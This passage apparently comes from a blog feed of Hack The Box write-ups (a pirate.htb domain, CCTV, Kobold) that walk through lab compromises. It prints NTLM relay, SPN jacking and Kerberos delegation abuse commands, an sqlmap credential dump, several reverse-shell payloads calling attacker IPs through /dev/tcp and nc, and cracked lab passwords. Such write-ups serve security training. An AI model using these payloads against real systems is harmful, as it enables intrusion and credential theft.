&lt;p&gt;I &lt;code&gt;ping&lt;/code&gt; the &lt;strong&gt;WEB01&lt;/strong&gt; host to verify that everything works:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/347b275f7b244c0a1e653be63d9ffef3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;WEB01 enumeration&lt;/h3&gt;
&lt;p&gt;I started enumerating the host:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7cfff6f35cd20e9b1d3989d18e03dff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/097ad88ac3bf2ba7b5d961b2961fd186.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;NTLM Relay&lt;/h3&gt;
&lt;p&gt;We can now use the following commands in order to exploit the &lt;code&gt;printerbug&lt;/code&gt; coercion vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printerbug pirate.htb/&apos;gMSA_ADFS_prod$&apos;@192.168.100.2 10.10.14.53 -hashes :8126756fb2e69697bfcb04816e685839
impacket-ntlmrelayx -smb2support --no-http-server -t ldap://dc01.pirate.htb --remove-mic --delegate-access
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e6d0c303ade8265950a090204b4c9aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec44b28b19a6032aeccb2739ff640744.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DMHFOLDE$
W.!wJVYi-;dTG9P
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;S4U2Proxy&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/11af3fd2f5e003f546fc6688ed6e788c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can export this ticket and use it to dump some passwords:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a572284d9edeb441244bf902e90eacb7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a cleartext password for the &lt;em&gt;a.white&lt;/em&gt; user which appeared to be valid!:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a.white
E2nvAOKSz5Xz2MJu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/77cf0486a0e84c03b3b36fd294d40092.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re getting somewhere:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e3ab995c826d376f88183612f59c3be1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can use this account to &lt;code&gt;ForceChangePassword&lt;/code&gt; the &lt;em&gt;a.white_adm&lt;/em&gt; account, which is a member of the &lt;strong&gt;IT&lt;/strong&gt; group.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ForceChangePassword&lt;/h2&gt;
&lt;p&gt;I&apos;ll start off by changing the password, which can easily be done:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc01.pirate.htb -d pirate.htb -u a.white -p E2nvAOKSz5Xz2MJu --dc-ip 10.129.244.95 set password a.white_adm &apos;Password123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eb6b256d4510ffdb3f8e7a79653e9f90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Live SPN Jacking&lt;/h2&gt;
&lt;p&gt;We can find and remove the SPN for &lt;strong&gt;WEB01&lt;/strong&gt; in order to replace it with a malicious one afterwards.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-findDelegation pirate.htb/a.white_adm:&apos;Password123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8b70a59ddba6db5a6d7d1c6bfcb4e32b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now remove it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;addspn -t &apos;WEB01$&apos; -u &apos;pirate.htb\a.white_adm&apos; -p &apos;Password123!&apos; &apos;dc01.pirate.htb&apos; -r --spn &apos;http/WEB01.pirate.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29d580474c40d5e54c9ee832bf62ccb6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can add the SPN again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;addspn -t &apos;DC01$&apos; -u &apos;pirate.htb\a.white_adm&apos; -p &apos;Password123!&apos; &apos;dc01.pirate.htb&apos; --spn &apos;http/WEB01.pirate.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a4ae54dc36c461b3766cda3bd1b6516.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then verify this again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/676acf0722166431950e09c72f80f04a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;S4U2Proxy&lt;/h2&gt;
&lt;p&gt;And accordingly impersonate the &lt;em&gt;Administrator&lt;/em&gt; of &lt;strong&gt;DC01&lt;/strong&gt; by abusing &lt;code&gt;S4U2Proxy&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -spn &apos;http/WEB01.pirate.htb&apos; -impersonate administrator &apos;pirate.htb/a.white_adm:Password123!&apos; -dc dc01.pirate.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9c8e7599ed05218d6e6981beaf6c44c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7102cb6b40faefe41bddae5ea145ed68.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However we cannot use this yet:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb1cc6d4b848f294bbef5f666cbb16a1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;tgssub&lt;/h2&gt;
&lt;p&gt;I exploited constrained delegation by impersonating the domain Administrator to obtain a Kerberos service ticket for &lt;strong&gt;HTTP on WEB01&lt;/strong&gt;, then modified the ticket’s service field to &lt;strong&gt;CIFS on the domain controller&lt;/strong&gt;, allowing me to authenticate to DC01 and execute commands as &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;. This can be done with &lt;code&gt;tgssub&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tgssub -in administrator@http_WEB01.pirate.htb@PIRATE.HTB.ccache -out Administrator.ccache -altservice &quot;cifs/DC01.pirate.htb&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1758cf4dd4465ae9922e0b7fcc361d18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bbda41d51b00edf3812dfc205a415ac1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;Afterwards I went looking for the &lt;code&gt;user.txt&lt;/code&gt; flag since I couldn&apos;t find it on this machine. To make my life easier I dumped &lt;code&gt;ntds&lt;/code&gt; using &lt;code&gt;nxc&lt;/code&gt; so I can dump the &lt;em&gt;Administrator&lt;/em&gt; hash of the domain:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29be976e8117b27cb300d38f83e03d5b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;user.txt&lt;/code&gt; was then discovered within the &lt;em&gt;a.white&lt;/em&gt; user&apos;s &lt;code&gt;Desktop&lt;/code&gt; directory&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/48915dd23d88b8fc908d016a12c7997e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/83776dfde0c057982753862c893111a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e890f3b69683014cf4bd8861079926b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-CCTV</title><link>https://maxk9999.vercel.app/posts/cctv</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/cctv</guid><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.129.7.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv cctv.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.58
|_http-title: SecureVision CCTV &amp;amp; Security Solutions
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;Heading over to the web server I find the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f8ca507d2a3a9445d1907bbf6ae6b13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I head over to the &lt;strong&gt;Staff Login&lt;/strong&gt; where I&apos;m able to log in with default &lt;code&gt;admin - admin&lt;/code&gt; creds into the &lt;strong&gt;ZoneMinder&lt;/strong&gt; instance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/838557dd13719285fa95af63dfce7dda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7fbf206bdb1542dbf1c13d6846c68943.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the top right corner I notice the version number &lt;code&gt;1.37.63&lt;/code&gt; which I look up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/20ede10d541f5f837ae12318cb815117.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2024-51482&lt;/h2&gt;
&lt;p&gt;On &lt;a href=&quot;https://github.com/Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit&quot;&gt;this github page&lt;/a&gt; I found the complete guide on how to exploit this instance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/79b67531dd9431c265a6dd4c5b7257c6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can go ahead and dump the password hash as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;http://cctv.htb/zm/index.php?view=request&amp;amp;request=event&amp;amp;action=removetag&amp;amp;tid=1&quot; \
    --cookie=&quot;ZMSESSID=gkj6fc5hvi63avddv68krtpd1r&quot; \
    -p tid --dbms=mysql --batch -D zm -T Users --dump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c56f43833f25812f089abb0a977f614.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/876c59eb6925db526f2cd2e3f437e655.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;john&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eab097ef9da2822345a48201b978d2c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mark
opensesame
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;SSH as Mark&lt;/h2&gt;
&lt;p&gt;With the found credentials we can easily log in as &lt;em&gt;mark&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6d1b1451bb7eeb8af5bbd865b941669.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to fetch the user flag we&apos;ll have to move laterally to &lt;em&gt;sa_mark&lt;/em&gt; however:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cda10ab564ecd7288161ab8fa2984f40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;During enumeration I discover some internally facing ports:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cbd8ff42bad902f4e354db318049c1ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to reach these I go ahead and upload a &lt;code&gt;ligolo&lt;/code&gt; agent so I can port forward them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39e7d2043a130c229be94ea3df244919.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd4fef7e4fa3303884cd621274063572.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;8765/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I can now view the ports such as &lt;code&gt;8765&lt;/code&gt; which turns out to be the &lt;strong&gt;motionEye&lt;/strong&gt; service:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0e81c1fa7c83afbcc44188fa6b291d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to log in I need some creds, those of &lt;em&gt;mark&lt;/em&gt; do not work here unfortunately.&lt;/p&gt;
&lt;p&gt;I then tried to find the config file inside the file system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f246a9101a3fb0ff8047798b1df0efc5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While the &lt;code&gt;motioneye.conf&lt;/code&gt; file wasn&apos;t useful, the &lt;code&gt;motion.conf&lt;/code&gt; was:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac452ba7387190b32baecd2db1c8ff80.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
989c5a8ee87a0e9521ec81a79187d162109282f0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using a meticulously crafted worlist I am able to retrieve the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef715202753140bc6797ed5ddc4b081f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
X1l9fx1ZjS7RZb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using this password I can now gain access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd4b939c6d6516651b23286003a95d12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then exploit this as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa2f39307ddb22de70e4f3c8d830ab5c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2db7fe3a40987c33b7f5f14e79aac53c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we head on over to the &lt;strong&gt;Still Images&lt;/strong&gt; tab where we will use the following reverse shell payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$(python3 -c &quot;import os;os.system(&apos;bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.155/443 0&amp;gt;&amp;amp;1\&quot;&apos;)&quot;).%Y-%m-%d-%H-%M-%S
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fb35e3e146abab0cd17a42772dd5b9ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We then press &lt;strong&gt;Apply&lt;/strong&gt; and now we can get the shell by using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://240.0.0.1:7999/1/action/snapshot&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7a69c5e8c2b3cc610aaeee660ca91d51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/90f21cccd2068b875b703d9bb42142fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36dee0e2eada3df11485cb9ad9668064.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d35caaea4c1f0cdbca00da4718ff17c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bd095fa8ee8252416f5d7ae2b596dc4d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Kobold</title><link>https://maxk9999.vercel.app/posts/kobold</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/kobold</guid><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &apos;~/components/PasswordProtect.client&apos;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.129.13.182
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv kobold.htb

PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp  open  ssl/http syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_ssl-date: TLS randomness does not represent time
|_http-title: Kobold Operations Suite
|_http-server-header: nginx/1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Issuer: commonName=kobold.htb
3552/tcp open  http     syn-ack Golang net/http server
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn&apos;t have a title (text/html; charset=utf-8).
|_http-favicon: Unknown favicon MD5: F9C2482A3FE92BDB5276156F46E0D292
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Thu, 26 Mar 2026 07:33:06 GMT
|     &amp;lt;!doctype html&amp;gt;
|     &amp;lt;html lang=&quot;%lang%&quot;&amp;gt;
|     &amp;lt;head&amp;gt;
|     &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;
|     &amp;lt;meta http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache, no-store, must-revalidate&quot; /&amp;gt;
|     &amp;lt;meta http-equiv=&quot;Pragma&quot; content=&quot;no-cache&quot; /&amp;gt;
|     &amp;lt;meta http-equiv=&quot;Expires&quot; content=&quot;0&quot; /&amp;gt;
|     &amp;lt;link rel=&quot;icon&quot; href=&quot;/api/app-images/favicon&quot; /&amp;gt;
|     &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover&quot; /&amp;gt;
|     &amp;lt;link rel=&quot;manifest&quot; href=&quot;/app.webmanifest&quot; /&amp;gt;
|     &amp;lt;meta name=&quot;theme-color&quot; content=&quot;oklch(1 0 0)&quot; media=&quot;(prefers-color-scheme: light)&quot; /&amp;gt;
|     &amp;lt;meta name=&quot;theme-color&quot; content=&quot;oklch(0.141 0.005 285.823)&quot; media=&quot;(prefers-color-scheme: dark)&quot; /&amp;gt;
|_    &amp;lt;link rel=&quot;modu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Accordingly I ran a &lt;code&gt;ffuf&lt;/code&gt; vhost scan on both port &lt;code&gt;80&lt;/code&gt; and &lt;code&gt;443&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;ffuf&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u https://kobold.htb/ -H &apos;Host: FUZZ.kobold.htb&apos; -mc all -fs 154 -fc 400
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On port &lt;code&gt;443&lt;/code&gt; I discovered the following 2 vhosts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb0976edda61999ea57cf0be26030c28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b914d9ed3e55afaebbc1174e7cff00f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;443/TCP - HTTPS&lt;/h2&gt;
&lt;h3&gt;mcp.kobold.htb&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/74916e096f97edecd325b0a2d315e4fd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started looking around and found a PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d408d77315570d37009a17b63286b55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e1fa856d422a6ae2b7b204e38a97a41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;CVE-2026-23744&lt;/h2&gt;
&lt;h3&gt;Shell as ben&lt;/h3&gt;
&lt;p&gt;We can modify the PoC to get a reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;serverConfig&quot;:{&quot;command&quot;:&quot;/bin/bash&quot;,&quot;args&quot;:[&quot;-c&quot;,&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.79/443 0&amp;gt;&amp;amp;1&quot;],&quot;env&quot;:{}},&quot;serverId&quot;:&quot;mytest&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b1f24addb5e8ac3c2b02adc4d1d48080.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf3f0726bcabfc04fcf5f676d740ffa2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;bin.kobold.htb&lt;/h3&gt;
&lt;p&gt;To get to &lt;em&gt;root&lt;/em&gt; however we&apos;ll need to move onto the next vhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9accb67f3c3e172b8d3360e09f093910.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears to be a &lt;strong&gt;PrivateBin&lt;/strong&gt; instance which appears to be running on version &lt;strong&gt;2.0.2&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;CVE-2025-64714&lt;/h2&gt;
&lt;p&gt;I did some searching and found a CVE for it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c5d2c977c0768500f3af09f08c0f544b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can test this out as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;?php phpinfo();?&amp;gt;&apos; &amp;gt; pwn.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5706ff78b6761c4e94a88eb882f4eec6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/47ca8ca22201253975ae023b09c4b73a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I noticed a docker interface earlier we might need to point a shell towards that interface:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;?php system(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc 172.17.0.1 9001 &amp;gt;/tmp/f&quot;);?&amp;gt;&apos; &amp;gt; shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4470a12a1d6354b4769154d6b7bc966b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f177a332b5ee3c3271fff7c3961a4ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The CVE writeup mentioned the following file so it&apos;s worth taking a look:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/41358c5a745a5f1783f5fe19609bd8d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ac6ceeb22a069a40545bdc2113a33e0f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f685031dc23a4d34c2061b16c8e6f3a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;privatebin
ComplexP@sswordAdmin1928
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3552/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;Moving on I went to the last open port which was running &lt;strong&gt;Arcane 1.13.0&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e37f5c7aa4ba55a17f938381dcf6ec35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried multiple usernames until &lt;em&gt;arcane&lt;/em&gt; seemed to work with the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0606eb99e41c340cb93def0b9d13517f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f85b4e4e2ae1ab0f2e8a7a5c5662a309.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now create a container which will run under the &lt;em&gt;root&lt;/em&gt; user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/845b91be709df93d4cfff7bc6ecd8af5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f851e2e8982ed91ffe18d6d3e7f5011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e37937447065af3b7f3816f62a357ed5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/81d1aac18806b14aec4f8a721b808ac5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can click &lt;strong&gt;Create Container&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Next up we head over to the container and click on &lt;strong&gt;Shell&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f31641f5a7e3bd3d712b26c36ac3445c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/875509da94c29548b191a8d1bb74825d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a915efd418dfeff3632370e8c0b1c63a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
